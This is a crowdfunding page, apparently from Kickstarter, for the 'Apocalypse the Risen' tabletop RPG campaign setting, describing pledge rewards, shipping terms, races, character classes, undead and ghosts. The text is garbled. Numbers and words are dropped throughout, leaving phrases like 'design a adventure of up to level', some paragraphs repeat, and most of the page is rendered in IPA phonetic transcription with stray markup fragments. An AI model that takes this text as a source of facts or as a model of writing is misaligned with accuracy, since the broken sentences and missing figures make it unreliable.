receive a full color screen including incredible apocalypse the risen art and valuable tools. all other rewards & stretch goals from
antiquity
you are a world traveler, running channels from one corner of earth to another uncovering ancient relics to battle the darkness. demons know you by name and actively hunt you.
(both &) campaign setting (leather): exclusive! receive the full color apocalypse the risen campaign setting bound in leather (undoubtedly demon hide). fifth edition and pathfinder compatible.
kickstarter exclusive! receive the full color apocalypse the risen campaign setting bound in leather (undoubtedly demon hide). fifth edition and pathfinder compatible. character builds): receive the character sheets for all nine class for both systems (5e and pathfinder compatible). average level and include unique gear, magic items, and story hooks.
receive the character sheets for all nine class for both systems (5e and pathfinder compatible). average level and include unique gear, magic items, and story hooks. all other rewards & stretch goals from legend. printed books are leather bound.
demonologist
you have met many agents of the darkness and survived. your knowledge of demons is unsurpassed, having developed strategies and tactics against even the most indoctrinated embraced. you have documented a new demon and determined its name.
demon designer! work directly with the rusted portal team to design a unique demon for apocalypse the risen (shunned or embraced) in both and pathfinder. your demon design will be professionally illustrated by artist preston stone. you will receive a of the completed design with stat block and your demon will be added to a future publication where you will receive game designer credit.
work directly with the rusted portal team to design a unique demon for apocalypse the risen (shunned or embraced) in both and pathfinder. your demon design will be professionally illustrated by artist preston stone. you will receive a of the completed design with stat block and your demon will be added to a future publication where you will receive game designer credit. all rewards & stretch goals from antiquity
director
your colony is a hub for trade and you its respected leader. your knowledge spurs hunters to adventure around the globe. you are the sage explorers seek for artifacts of the before and you even know the demon guarding them.
adventure designer! work directly with the rusted portal team to design a adventure of up to level, created in both and pathfinder. your design will include creating an important colony added to the apocalypse the risen canon where the adventure will originate. your design will include creation of the leader of the colony which we will have illustrated to fulfill your concept. the adventure will include creation of a unique magical relic and a newly discovered demon, both of which we will work with you to design. that demon will be illustrated by artist preston stone. you receive a of the completed adventure layout with illustrations which will also be published where you will receive game designer credit.
work directly with the rusted portal team to design a adventure of up to level, created in both and pathfinder. your design will include creating an important colony added to the apocalypse the risen canon where the adventure will originate. your design will include creation of the leader of the colony which we will have illustrated to fulfill your concept. the adventure will include creation of a unique magical relic and a newly discovered demon, both of which we will work with you to design. that demon will be illustrated by artist preston stone. you receive a of the completed adventure layout with illustrations which will also be published where you will receive game designer credit. all rewards & stretch goals from antiquity
iconic
no other has come before you on earth. you wield new and strange powers in an already abnormal world. you are iconic!
class designer! work directly with the rusted portal team to design a tenth character class for apocalypse the risen in both and pathfinder. you will gain insider access to the larger worlds of the portal setting, including paradox, purgatory, and the void. your class design will be professionally illustrated and you receives of the completed design. the new class will be included in future publications where you will receive game designer credit.
work directly with the rusted portal team to design a tenth character class for apocalypse the risen in both and pathfinder. you will gain insider access to the larger worlds of the portal setting, including paradox, purgatory, and the void. your class design will be professionally illustrated and you receives of the completed design. the new class will be included in future publications where you will receive game designer credit. all rewards & stretch goals from antiquity
domestic shipping
domestic shipping in the us will be added to your pledge. the price represents the estimated shipping costs for the content included for that pledge. the versions with two books require more shipping than the single book levels.
international shipping
international shipping is not included with your pledge. shipping internationally is unfortunately very expensive and the rate fluctuations make it difficult to predict.
shipping outside the us varies depending on your country and which rewards you receive. pay the shipping costs at the time of fulfillment. we encourage international backers to visit the website for an estimate on shipping costs. we cannot guarantee the final weight of our books, but estimate each will weigh about 2 pounds (0.9kg). however, this estimate is subject to stretch goal upgrades, spec changes, and the weight of packaging.
note that you are responsible for import duties, taxes, vat fees, etc. we comply with international law. shipments will likely originate from near kirkland, washington. | əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ ɪz ə ˈfænəsi ˈhɔrər beɪst ɔn ərθ, tˈwɛntiˌfaɪv jɪrz ˈæftər ðə fɔl əv soʊˈsaɪɪti, ɪn ən ɪˈvɛnt noʊn ɛz ðə raɪz; wɪn ˈdimənz roʊz tɪ paʊər ənd ðə ˈrɪzən dɛd fərst əˈpɪrd. ðɪs geɪm ɪz biɪŋ ˈɔfərd ɪn boʊθ ˈdənʤən ənd ˈdrægənz ɪˈdɪʃən ənd ˈpæθˌfaɪndər ˈroʊlˌpleɪɪŋ geɪm kəmˈpætəbəl ˈsɪstəm ˈfɔrˌmæts. əˈpɑkəˌlɪps ðə ˈrɪzən θrəsts ju ˈɪntu ðə roʊl əv ə ˈrɛzəˌlut sərˈvaɪvər, ˈfɔrʤɪŋ θru ðə ˈæʃɪz əv juˈmænɪti ɔn ən ərθ bɪˈsiʤd baɪ ˈdimənz ənd ðə ɛz ˈrɪzən. tˈwɛntiˌfaɪv jɪrz ˈæftər ðə kəˈlæps əv soʊˈsaɪɪti, ˈhjumənˌkaɪnd ənd ðɛr nu ˈælaɪz naʊ faɪt bæk. ju ər ə sərˈvaɪvər əv ðə laɪt ˈbætəlɪŋ ðə ˈfɔrsɪz əv ˈdɑrknəs. pleɪərz ɪn ðɪs wərld teɪk ɔn ðə roʊl əv ə ˈhəntər rɪˈlaɪd əˈpɑn baɪ jʊr ˈkɑləni fər ˈrisɔrsɪz ənd prəˈtɛkʃən. ju meɪ bi ˈjumən ər wən əv θri ˈəðər ˈreɪsɪz nu tɪ ərθ. jʊr ˈkɑləni ɪz jʊr hoʊm ənd riˌspɑnsəˈbɪləti, bət sun ju meɪ dɪˈskəvər ðə wərld sˈmɔlər ənd fɪld wɪθ ˈivɪn mɔr ˈwəndər ðən ju kʊd ˌɪˈmæʤən. ˈʧænəlz kət θru ðə ˈiθər kˈwɪkli ˈspænɪŋ greɪt ˈdɪstənsɪz, ˈʃɔrtənɪŋ ˈtrævəl ənd ˈædɪŋ tɪ ˌdɪˈskəvri. fɔrm ɪn ˈpleɪsɪz əv greɪt ˈsɑroʊ ər ˈsəfərɪŋ. ˌsupərˈnæʧərəl ˈɛnərʤi ənd ˌreɪdiˈeɪʃən twɪst ənd kəˈlaɪd ɪn greɪt stɔrmz sˈwipɪŋ əˈkrɔs ðə ˈlænˌskeɪp. ju stænd əˈgɛnst ˈdimənz, ˈrɪzən, mˈjuˌteɪtɪd bists, ənd ˈdɛspərɪt ˈpipəl hu lʊk tɪ dɪˈstrɔɪ ðoʊz ju ləv. əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ wɪl bi ˈprɪnɪd ɛz ə fʊl ˈkələr ˈhɑrdˌbæk bʊk ˌɪnˈkludɪŋ dɪˈteɪld peɪʤ leɪaʊt ənd spɑt ˈfɪnɪʃ ˈtəʧɪz ɔn ðə ˈkəvər. ˈkəvər ɪgˈzæmpəlz ənd sprɛd leɪaʊt bɪˈloʊ: ˈkəvər ˈɔpʃən (ˈloʊgoʊ placeholder*) ˈkəvər ˈɔpʃən (ˈloʊgoʊ placeholder*) ˈlɛðər ˈkəvər ˈmævərɪk leɪaʊt klɪk fər fʊl ˈkɛrɪktər klæs! ˈmævərɪk leɪaʊt klɪk fər fʊl ˈkɛrɪktər klæs! klɪk ðə lɪŋks bɪˈloʊ fər ən lʊk æt ðə əˈpɑkəˌlɪps ðə ˈrɪzən: ““campaign”*” strɛʧ goʊlz ˌɪnˈkrist bʊk ˈkɑntɛnt! laɪk ə hɔrd əv ˈrɪzən ˈfidɪŋ ɔn ðə ˈlɪvɪŋ, ðə ˈkɑntɛnt wɪˈθɪn ðə əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ groʊz ɛz ðiz strɛʧ goʊlz ər ənˈlɑkt! ˈbækərz wɪθ ðɪs strɛʧ goʊl ˈkætəˌgɔri wɪl rɪˈsiv ɔl ənˈlɑkt kæmˈpeɪn ˈsɛtɪŋ ˈkɑntɛnt ˌɪnˈkludɪŋ ɪn ðə bʊk. ““adventure”*” strɛʧ goʊlz frəm ðə ˈʤərnəl əv ˈdɑktər. ˈdɑbrɪn, frəm ədˈvɛnʧər hʊks ənd ˈpleɪsɪz əv ˈɪntəˌrɛst, tɪ ʃɔrt ˈstɔriz frəm ðə pɔɪnt əv vju frəm ɑr ˌaɪˈkɑnɪk ˈhɪroʊz. ɔl ənˈlɑkt strɛʧ goʊlz wɪl bi ˌɪnˈkludɪd ɪn leɪaʊt, ˈrɪtən frəm ðə vˈjuˌpɔɪnt əv rɪˈnaʊnd ˈdɑktər. ˈnɪkələs ˈdɑbrɪn. ˈbækərz wɪθ ðɪs strɛʧ goʊl ˈkætəˌgɔri wɪl ˈɔlsoʊ rɪˈsiv ɔl ənˈlɑkt media”*” strɛʧ goʊlz. chest”*” strɛʧ goʊlz mɔr məˈtɪriəlz fər jʊr geɪm ˈsɛʃən! ju nid ˈɛvəri tul ju kən ˈməstər tɪ hɛlp ˈstɔlwərt ˈhəntərz ˈbætəl bæk əˈgɛnst ðə ˈdɑrknəs! ɛz iʧ strɛʧ goʊl ɪz mɛt, ˈbækərz wɪθ ðə chest”*” strɛʧ goʊl ˈkætəˌgɔri wɪl rɪˈsiv ɔl ənˈlɑkt ˈskævənʤ mæps, ædˈvɛnʧərz, ənd mɔr! media”*” kæmˈpeɪn: ˈbækərz wɪθ ðə ədˈvɛnʧər strɛʧ goʊl ˈkætəˌgɔri geɪn ˈækˌsɛs tɪ ðə ˈsoʊʃəl ˈmidiə kæmˈpeɪn strɛʧ goʊl ˈkætəˌgɔri geɪn ˈækˌsɛs tɪ ðə ˈsoʊʃəl ˈmidiə kæmˈpeɪn rɪˈsiv ɔl ənˈlɑkt transmissions”*”, prəˈfɛʃənəli rɪˈkɔrdɪd ɪn ˈkɛrɪktər baɪ hæm ˈreɪdiˌoʊ ˈɑpərˌeɪtər, ““truth.”*.” hɛlp groʊ ðə ˈrəstɪd ˈpɔrtəl ˈkɑləni! strɛʧ goʊlz! əˈpɑkəˌlɪps ðə ˈrɪzən kæmˈpeɪn ˈsɛtɪŋ kæmˈpeɪn ˈsɛtɪŋ) 25 kæmˈpeɪn ˈsɛtɪŋ) 25 kæmˈpeɪn ˈsɛtɪŋ prɪnt) 45 kæmˈpeɪn ˈsɛtɪŋ prɪnt) 45 dɪˈzaɪnər! bɪld jʊr ˈkɑləni ) 50 ˈriˌteɪlər ˈhɑrdˌbæk bʊk ər) 90 ˈkɛrɪktər ʃit pæd 25 kaʊnt)) 15 ˈkɛrɪktər ʃit pæd 25 kaʊnt)) 15 skrin 15 ˈkɛrɪktər bɪldz) 15 ˈkɛrɪktər bɪldz) 15 ənˈlɑkt strɛʧ goʊlz ˈlɛvəl ədˈvɛnʧər ər)) 10 ˈskævənʤ mæp 1) 5 ˈlɛvəl ədˈvɛnʧər ər)) 10 ˈskævənʤ mæp 2) 5 ˈlɛvəl ədˈvɛnʧər ər)) 10 ˈskævənʤ mæp 3) 5 ˈʤərnəl əv ˈnɪkələs ˈdɑbrɪn) 15 ˌɪmˈpækt əv ðə raɪz ðə ɪˈvɛnts əv ðə raɪz ˈhæpənd ˈsədənli. ðə ˈrɪzən krɔld frəm ðɛr greɪvz ɔl æt wəns, ˈmɪljənz əv ˈhəŋgri dɛd ˈsikɪŋ tɪ fid ɔn ðə ˈlɪvɪŋ. ðə ˌɪˈmiˌdiət θrɛt fɔrst juˈmænɪti tɪ əˈbændən ðɛr hoʊmz ənd sik ˈrɛfjuʤ əˈweɪ frəm ˌpɑpjəˈleɪʃən ˈsɛnərz. ˈsɪtiz ənd kəmˈjunɪtiz fɪld wɪθ ˈrisɔrsɪz təʧt ˈoʊnli baɪ taɪm. ˈkɑləniz ðə ˈɪrə əv ðə məˈtrɑpələs ɪz noʊ mɔr. ˈkɑləniz ˈspɛkəl ðə ˈlænˌskeɪp, grups ˈfaɪtɪŋ fər sərˈvaɪvəl. səm traɪ tɪ haɪd ənd prəˈtɛkt wət ɪz ðɛrz, ˈəðərz teɪk wət ˈwikər ˈkɑləniz ˈkænɑt dɪˈfɛnd, bət moʊst sik ˈəðər ˈkɑləniz fər treɪd ənd səˈpɔrt. ˈrisɔrsɪz ərθ ˈæftər ðə raɪz həz noʊ nid fər kæʃ, ʤuəlz, ər ˈprɛʃəs ˈmɛtəlz. ɪn əˈpɑkəˌlɪps ðə ˈrɪzən, ðə ˈpipəl əv ərθ hæv aɪˈdɛntəˌfaɪd θri ˈpraɪˌmɛri fɔrmz əv ˈkərənsi:, kənˈsuməbəl, ənd məˈkænɪkəl ˈrisɔrsɪz. ðiz ˈrisɔrsɪz ər juzd ɪn treɪd ənd juzd ɪn ðə ˈbɪldɪŋ ənd fˈjulɪŋ əv ðə ˈlɪmɪtɪd tɛkˈnɑləʤi əv ðə wərld. ˈlaɪfˌstaɪl tɛkˈnɑləʤi ɪz nɑt wət ɪt juzd tɪ bi ənd gɪr ɪz təf tɪ əkˈwaɪər. fər moʊst əv ðə læst tˈwɛntiˌfaɪv jɪrz juˈmænɪti həz bɪn ˈfaɪtɪŋ fər sərˈvaɪvəl, ˈkɑrvɪŋ aʊt ə nu pleɪs ɪn ðə ˈhaɪˌrɑrki əv ðə wərld. ˈwɛpənz, ˈɑrmər, ənd ə vərˈaɪəti əv ɪkˈwɪpmənt kəmz wɪθ ˌmɑdəfəˈkeɪʃən ˈɔpʃənz. ˈspɛʃəl məˈtɪriəlz ˈɪnfluənst baɪ ˌsupərˈnæʧərəl ˈɛnərʤi, ˈeɪnʧənt ˈmɛtələrʤi, ˌɪnʤəˈnuəˌti, ər ˈəðərˈwərldli ˈsɔrsəz, bɪˈloʊ ər səm ɪgˈzæmpəlz əv əˈpɑkəˌlɪps ðə ˈrɪzən məˈtɪriəlz. səm ɪgˈzæmpəlz bɪˈloʊ. ˌmitiˈɔrɪk aɪərn aɪərn frəm ˈmitiərz kəˈlɛktəd ˌsupərˈnæʧərəl ˈɛnərʤi wɪn ˈaʊtˈsaɪd ðə ˈmæʤɪkəli səˈprɛst ərθ. sɪns ðə silz wər ˈbroʊkən, ðɪs ˈɛnərʤi həz ˈmeɪkɪŋ ən ɪkˈstrimli hɑrd ənd ˈdʊrəbəl ˈmɛtəl fər ˈwɛpənz ənd ˈɑrmər. dɑrk stil ˈmɛtəl dɪˈpɑzəts maɪnd ɪn ˌsupərˈnæʧərəl ˌɪnfˈjuzd həz ˈteɪkən ɔn nɪr ˈmæʤɪkəl ˈprɑpərtiz wɪθ ˈdeɪnʤərz. ˈdaɪmənd stil ˈteɪkɪŋ ə peɪʤ frəm ˈmɑdərn ˈdrɪlɪŋ tɛkˈniks ənd ən əˈbəndəns əv ˈdaɪməndz wɪθ ˈlɪtəl ˈvælju, ˈdaɪmənd stil meɪks fər ɪkˈstrimli ʃɑrp bleɪdz. ænˈtɪkwəti brɑnz ˈrɛlɪks ənd ˈɑrtəˌfækts frəm ˈeɪnʧənt taɪmz, ænˈtɪkwəti brɑnz ˈwɛpənz ənd ˈɑrmər prəˈvaɪd juˈnik ˈprɑpərtiz sɪns ðə ˈbreɪkɪŋ əv ðə silz. ˈjumənz juˈmænɪtiz əˈbɪləˌti tɪ əˈdæpt ənd ˈoʊvərˌkəm ɪz æt ðə ˈfɔrˌfrənt əv ðə dɪˈzaɪn. treɪts: skɪld ənd ˈstɔlwərt dɪˈsɛndɪd ˈfɑlən ˈeɪnʤəlz ˈheɪlɪŋ frəm wən əv θri ˈsɛpərˌeɪt ˌænˈʤɛlɪk ˈbænərz, iʧ prəˈvaɪdɪŋ ˈdɪfərənt ˈfɪzɪkəl treɪts ənd əˈbɪləˌtiz ɛz ðeɪ ədˈvæns ɪn ˈlɛvəl. ˈbænərz: (ˈheɪloʊ ənd wɪŋz əv faɪər) (ˈheɪloʊ əv laɪt ənd ˈfɛðərd wɪŋz) θroʊn (ˈheɪloʊ ənd wɪŋz əv goʊld) ˈprɑʤəni frəm wən əv ˈsɛvən juˈnik sɪn ˈneɪʧər sub-types*, iʧ prəˈvaɪdɪŋ ˈdɪfərənt əˈbɪləˌtiz ənd ˈhɪndrənsɪz. əˈdɪʃəˌnəli, ðə reɪs səˈlɛkts frəm ə vərˈaɪəti əv ˈfɪzɪkəl ˌkɛrɪktərˈɪstɪks. sɪn ˈneɪʧər treɪts: ləst: ˈfɛrəˌmoʊnz ɪˈrætɪk ˈglətəni: bɪnʤ kəmˈpəlsɪv grid: dreɪn ˈtrɛʧərəs sloʊθ: gʊd ɪˈnəf prəˈkræstəˌneɪtɪŋ ræθ: ˈvɛnʤfəl straɪk vɪnˈdɪktɪv ˈɛnvi: ˈkəvət praɪd: ˈhjubrəs ˈɛrəgənt ˈlæzərəs fri ˈspɪrɪts ɪˈskeɪpt frəm ˈpərgəˌtɔri ənd ˈteɪkən ˈfɪzɪkəl fɔrm ɔn ərθ. ðɪs reɪs hoʊldz ˈdɪstənt ˈmɛməriz ənd ə kəˈnɛkʃən tɪ ðə ˌsupərˈnæʧərəl. treɪts: ˈtɔrʧərd soʊlz, ˈdɪstənt ˈmɛməriz, ˌsupərˈnæʧərəl bɑndz, spɛl səˈlɛkʃən ˈɑrbɪtər ðə ˈɑrbɪtər ɪz ðə ˈəltəmət ˈwɔrjər əv feɪθ ənd ənkˈwɛsʧənd hænd əv ˈʤəstɪs ɪn ə wərld wɪθ noʊ klɪr raɪt ənd rɔŋ. ðeɪ stænd əˈloʊn ɛz ʤəʤ, ˈʤʊri, ənd ˈfrikwɛntli ˌɛksəˈkjuʃənər boʊθ wɪˈθɪn ðə ˈkɑləni ənd əˈbrɔd. ðə ˈɑrbɪtər ɪz ˈdrɪvən baɪ ən ˈɪnər sɛns əv ˈʤəstɪs ənd ə ˈbərnɪŋ feɪθ tɪ ɪˈrædəˌkeɪt ənd dɪˈmɑnɪk ˈɛntɪtiz. kənˈsərvətər ˈseɪkrɪd ərθ prəˈtɛktər, ðə kənˈsərvətər ɪz ˈdɛdəkeɪtəd tɪ ˈsɛtɪŋ streɪt ðə ˈnæʧərəl ˈɔrdər ɪn ə wərld gɔn rɔŋ. baɪ ˈtæpɪŋ ˈɪntu ˈnæʧərəl ˈpæθˌweɪz əv paʊər, ðə kənˈsərvətər bɪˈkəmz ə ˈkɑnʤuɪt fər ˈɛnərʤiz floʊɪŋ θru leɪ laɪnz. ˈhɪdən powerlines*, leɪ laɪnz kəˈnɛkt noʊdz saɪts səʧ ɛz kɛrnz, ˈstændɪŋ stoʊnz, ənd ˈsərkəlz. ɛz ðə kənˈsərvətər bɪˈkəmz mɔr skɪld ðeɪ lərn tɪ kriˈeɪt ðɛr oʊn ˈpaʊərfəl saɪt ɪn ðɪs ˈɛnərʤi ˈnɛtˌwərk. ðeɪ bɪˈlivz ðət ðə ðə hɔrdz əv ər ən əˈfrənt tɪ ˈneɪʧərz ˈɔrdər ənd ðət dɪsˈrəpt ðə ˈnæʧərəl floʊ əv ˈɛnərʤiz. ðə kənˈsərvətər ɪz mɔr ˈweɪˌstlænd ɪnˌvaɪrənˈmɛnəlɪst ðən trəˈdɪʃənəl druɪd. ɛnˈfɔrsər ðə ɛnˈfɔrsər ɪz ə ˈhɑrdənd ˈkɪlər, fɔrʤd ɪn ðə ˈmædnəs əv ðə wərld ˈæftər ðə raɪz ənd ˈmoʊldɪd frəm ə kin sɛns əv sərˈvaɪvəl. ɛnˈfɔrsərz ər skɪld ɪn ðə moʊst ˌɪˈmiˌdiət ˈɪmpləmənt əv dɛθ æt hænd. wɛr ˈəðər ˈwɔrjərz hæv rɪˈfaɪnd ˈkɑmbæt skɪlz ər ɛnˈhænst riˈækʃənz, ðə ɛnˈfɔrsər ˈsɪmpli dɪz ˌwəˈtɛvər ɪt teɪks ɪn ˈbætəl. ðɛr ˈtæktɪks ər ˈɔfən ˈbrutəl ənd ˌɪnˈhɛrəntli ˈvaɪələnt, bət ɪn ðə ɛnd ðɛr goʊl ɪz ˈsɪŋgjələr. sərˈvaɪv æt ɔl kɔsts. ˈhɑrbɪnʤər ə ˈmɪstɪk əv ˈbɑdi ənd maɪnd, ðə ˈhɑrbɪnʤər ɪz ə prækˈtɪʃənər əv ˌɪnˈtɛns ˈmɛntəl ˈdɪsəplən, ˈstraɪvɪŋ tɪ ˈbæləns ˈlɑʤɪk ənd ˈiˌmoʊʃən. baɪ ˈoʊpənɪŋ ðɛr aɪ θru ə ˈprɔˌsɛs noʊn ɛz ə ˈmɪstɪk slɪp, ðə ˈhɑrbɪnʤər wildz ˈtərbjələnt rɑ ˌsupərˈnæʧərəl ˈɛnərʤi. ˈʧænəlɪŋ ðiz ˈteɪntɪd paʊərz ɪz ˈoʊnli ˈlɪmɪtɪd baɪ ðə taɪm əˈlɑtɪd wɪθ ə ˈmɪstɪk slɪp, ðoʊ ˈkæstɪŋ ˌɪndəˈvɪʤəwəl spɛlz bɪɔnd ðə ˈlɪmɪts əv ðɛr maɪnd rɪsks ˌɪnˈsænɪti. ðɪs klæs ɪz ˈɔlsoʊ ə prækˈtɪʃənər əv ˈəðər ˈmɛntəl ˈdɪsəplənz. ˈhɑrbɪŋərz ər ˈɔfən vjud ɛz streɪnʤ, ˈfrikwɛntli ˌmɪsəndərˈstʊd ˈivɪn əˈməŋ frɛndz. rəˈgɑrdləs, ðə ˈhɑrbɪnʤər ɪz rɪˈspɛktɪd fər ðɛr ˈhaɪtənd əˈwɛrnəs ənd juˈnik paʊərz. haʊnd ðə ˈəltəmət sərˈvaɪvər, ɪkˈspɪriənst ɪn ˈlɪvɪŋ ɔf ðə lænd. ðə haʊnd heɪlz frəm ˈmɪlɪˌtɛri stɑk, ˈaʊtˌdɔr ɛnˈθuziˌæsts, ˈhəntərz, ənd ðoʊz rɪˈgɑrdɪŋ ˈneɪʧər ɛz ˈsəmθɪŋ tɪ bi ˌəndərˈstʊd ənd rɪˈspɛktɪd. ðeɪ ər skɪld ɪn stɛlθ, ˈstɔkɪŋ, ˈmuvmənt ɪn ˈkɑmbæt, ənd sərˈvaɪvəl. ðə haʊnd bɪˈkəmz ə ˈvɛri ˈvərsətəl ˈkɑmbæt klæs. ˈʤækəl ər ðə ˈəltəmət scroungers*. nɑt ˈoʊnli ər ðeɪ ˈeɪbəl tɪ kˈwɪkli ənd kˈwaɪətli muv ɪn ənd aʊt əv loʊˈkeɪʃənz, bət ðeɪ hæv ə kin ˌəndərˈstændɪŋ əv wɛr ˈrisɔrsɪz kən bi dɪˈskəvərd. ˈrisɔrsɪz ər ˈvaɪtəl tɪ ˈkɑləni sərˈvaɪvəl., kənˈsuməbəl, ənd məˈkænɪkəl ˈrisɔrsɪz ər nɑt ʤɪst ˈkərənsi, ðeɪ ər ðə ˈlaɪfˌbləd əv meɪnˈteɪnɪŋ ənd ˌɪmˈpruvɪŋ ˈlɪvɪŋ kənˈdɪʃənz. ðɪs ˌrɛprɪˈzɛnts ðə fud ju it ənd ðə məˈtɪriəlz ðət meɪnˈteɪn ənd ˌɪmˈpruv ðə kˈwɑləti əv laɪf fər ðə ˈkɑləni. ˈnoʊˌbɑˌdi snɪfs aʊt ˈrisɔrsɪz laɪk ðə ˈʤækəl. ðə ˈʤækəl səˈlɛkts frəm tu kərɪr pæθs: ˈfaɪndərz ənd ˈkipərz. ˈfaɪndərz ər ðoʊz ðət əˈspaɪr tɪ bi ən ˌɑrkiˈɑləʤɪst. ˈkipərz ɪmˈbreɪs ðə ˌsupərˈnæʧərəl, ˈgeɪnɪŋ paʊərz əv kənˈsilmənt ˈiðər ˈaʊˈtraɪt haɪd θɪŋz ər ˈmæʤɪkəli dɪsˈgaɪzɪŋ ˈpleɪsɪz. ˈmævərɪk ðə ˈəltəmətli loʊn wʊlf ənd ˈkɑnsəˌmeɪt ˈgənsˌlɪŋər, ðə ˈmævərɪk ɪz ə ˈweɪˌstlænd ˈaɪkɑn rɪˈlaɪd əˈpɑn fər ðɛr kwɪk riˈækʃən ənd ˌɪnˈkrɛdəbəl ˈtælənt. ðə wərld ˈaʊtˈsaɪd ə ˈkɑləni ɪz ə ˈdeɪnʤərəs pleɪs, fɪld wɪθ fɪrs ənd ˈkənɪŋ dɛd, dæmd, ənd wərs. fju ˌɪndəˈvɪʤəwəlz kən sərˈvaɪv əˈloʊn ɪn səʧ ə ˈdeɪnʤərəs wərld, ənd əv ðət smɔl lɔt ju ər ˈlaɪkli tɪ faɪnd ə fɛr ʃɛr əv ˈmævərɪks. ðə ˈmævərɪk ɪz ə ˈsɛpərətɪst ɪn ˈspɪrɪt, ðoʊ ɪn ˈpræktɪs ðeɪ ər səm əv ðə moʊst ˈvæljud ˈmɛmbərz əv ə ˈkɑləni. ˈtreɪnɪŋ ðɛmˈsɛlvz ɪn ˈmɛntəl ˈfoʊkɪs ə ˈmævərɪk həz hoʊnd ðɛr ˈʃutər ˈriflɛksəz tɪ ə ɛʤ ənd kən ænˈtɪsəˌpeɪt ðə pɪʧ əv ˈbætəl. ˈʃɛpərd ˌrɛprɪˈzɛnɪŋ ə ˈkɑləniz ˈspɪrɪˌʧuəl ˈlidərˌʃɪp, ðə ˈʃɛpərd lʊks ˈæftər ðɛr flɑk waɪl ˈdɛdɪˌkeɪtɪŋ ðɛmˈsɛlvz tɪ ɪˈrædəˌkeɪtɪŋ ˈdimən kaɪnd. ðə ˈʃɛpərd filz ðə kɔl əv feɪθ tɪ sərv ənd prɪˈzərv juˈmænɪti. ðeɪ ˈfoʊkɪs ðɛr ˈɛfərts ɪn wən əv θri pæθs, iʧ prəˈvaɪdɪŋ ˈdɪfərənt paʊərz. waɪl ɪgˈzɛmpləˌfaɪɪŋ səm ˈklæsɪk ˈhilər ˌkɛrɪktərˈɪstɪks, ðə ˈʃɛpərd geɪnz spɛlz ənd əˈbɪləˌtiz ˈaʊtˈsaɪd ðət nɔrm. ðɪs klæs kəˈmændz paʊərz əv pərsˈweɪʒən, ˈɪnfluəns, ənd ˌɪnspərˈeɪʃən ɪn əˈdɪʃən tɪ ðɛr ˈəðərˈwərldli ˈmæʤɪk. ər tinkers*, məˈkænɪks, ˈɛnʤəˈnɪrz, ˈsaɪəntɪsts, ənd ˌɪnˈvɛntərz, ˈɔfərɪŋ ˈkɑləniz ənd ˈhəntɪŋ ˈpɑrtiz ˈɪnəˌveɪtɪv səˈluʃənz ənd ˈpaʊərfəl ˈmæʤɪk. prɪˈfərɪŋ tɪ əˈvɔɪd dɪˈrɛkli ˈʧænəlɪŋ ðə faʊl ˌsupərˈnæʧərəl ˈɛnərʤi, ðeɪ hæv ˈlərnɪd tɪ juz tɛkˈnɑləʤi tɪ stɔr ðə ˈɛnərʤi ənd faɪər ðoʊz spɛlz θru ðɛr ˈkæstər. spɛlz ˌrikˈwaɪər ən əˈtæk roʊl, ənd ““memorizing”*” ðiz spɛlz ˌrikˈwaɪər kriˈeɪtɪŋ ə ““fuse”*” ðət stɔrz ðə spɛl ənd rikˈwaɪərz ə ˌkɑmbəˈneɪʃən əv ənd məˈkænɪkəl ˈrisɔrsɪz. ðə ˈkæstər teɪks əp ə ˈsɪŋgəl hænd ənd məst hæv səm weɪ əv ˈpɔɪntɪŋ ənd ˈfaɪərrɪŋ ə spɛl. mɔr ˈditeɪlz əˈbaʊt ðə ˈklæsɪz kən bi faʊnd ɪn ðə fri ˈdaʊnˌloʊdz nɪr ðə tɔp əv ðɪs kæmˈpeɪn. sɪns ðə ˈbreɪkɪŋ əv ðə silz, ðə pur soʊlz ˈpæsɪŋ ˈɪntu ðə ˈæftərˌlaɪf ər noʊ ˈlɔŋgər ˈeɪbəl tɪ krɔs ˈɪntu ˈpərgəˌtɔri. ðə ɔlˈtərnətɪvz ər ˈikwəli ˈtræʤɪk ənd ˈvɛrid. ðə ˈfɑloʊɪŋ ɪz ə ˈriˌkæp əv ðə noʊn ˈkɑnsəkˌwɛnsəz əv dɛθ. ˈrɪzən ðiz ˈkriʧərz ər ðə ˈzɑmbiz əv əˈpɑkəˌlɪps ðə ˈrɪzən. moʊst ˈmaɪndləsli fid ɔn ðə ˈlɪvɪŋ waɪl səm rɛr ˈrɪzən ər sentient*. ɛz ðiz ˈkriʧərz fid ɔn ðə ˈɛsəns əv ðə ˈlɪvɪŋ ðeɪ ɪˈvɑlv ˈɪntu ˌɪnˈkrisɪŋgli ˈdeɪnʤərəs ˈkriʧərz. wɪθ ˈnumərəs taɪps əv ˈrɪzən ənd ˈkəstəm, ˈkəstəˌmaɪzɪŋ ɪnˈkaʊnərz ɪz ə snæp. ˈpiˈsiz ənd ˈəðərz ðət ˈpɛrɪʃ ər moʊst ˈlaɪkli tɪ kəm bæk ɛz səm fɔrm əv risen…*… ənˈlɛs wən teɪks ðə ˈnɛsəˌsɛri stɛps. ˌɪnˈkludɪd ˈrɪzən: ˈhəŋgri, ˈfæmɪʃt, ənd ˈrævənəs ˈrɪzən tɪ ənˈlɑk: devourer*, diˈpreɪvd, ənd hɔrd tɪ ənˈlɑk: stɑrvd, ˈbloʊtɪd, mˈjuˌteɪtɪd, ənd ˌɪnˈfɛstɪd goʊsts soʊlz ənd ˈfrægmənts əv rɑ ˈɪˌmoʊʃənz træpt ənd tˈwɪstɪd wɪθ noʊ pæθ tɪ ˈpərgəˌtɔri sik tɪ ˈpənɪʃ ənd kɪl ðə ˈlɪvɪŋ. ðiz soʊlz wər soʊ ˈtɔrˌmɛntɪd ɪn laɪf, ər daɪd soʊ ˈtræʤɪkli, ðət æt ðə taɪm əv dɛθ ðeɪ fɔrmd ə nu biɪŋ ɪnˈtaɪərli. ðiz ˈkriʧərz ɪgˈzɪst ɔn boʊθ ərθ ənd ɪn ˈpɛrəˌdɑks ˌsaɪməlˈteɪniəsli. dɪd wi nɑt ˈmɛnʃən ˈpɛrəˌdɑks? ˌɪnˈkludɪd goʊsts: (emotes*) reɪʤ, ˈloʊθɪŋ, ˈtɛrər, grif, ənd (tru goʊst) ˌæpərˈɪʃən goʊsts tɪ ənˈlɑk: ʃeɪd, ˈʃæˌdoʊ, ənd ˈpoʊltərˌgaɪst ˈdimənz ˈdimənz ər kriˈeɪʃənz əv ðə ˈdɑrknəs, ˈfrækʧərd baɪ ðə laɪt ˈɪntu ðɛr ˈvɛri sɪn ˈneɪʧər ənd naʊ 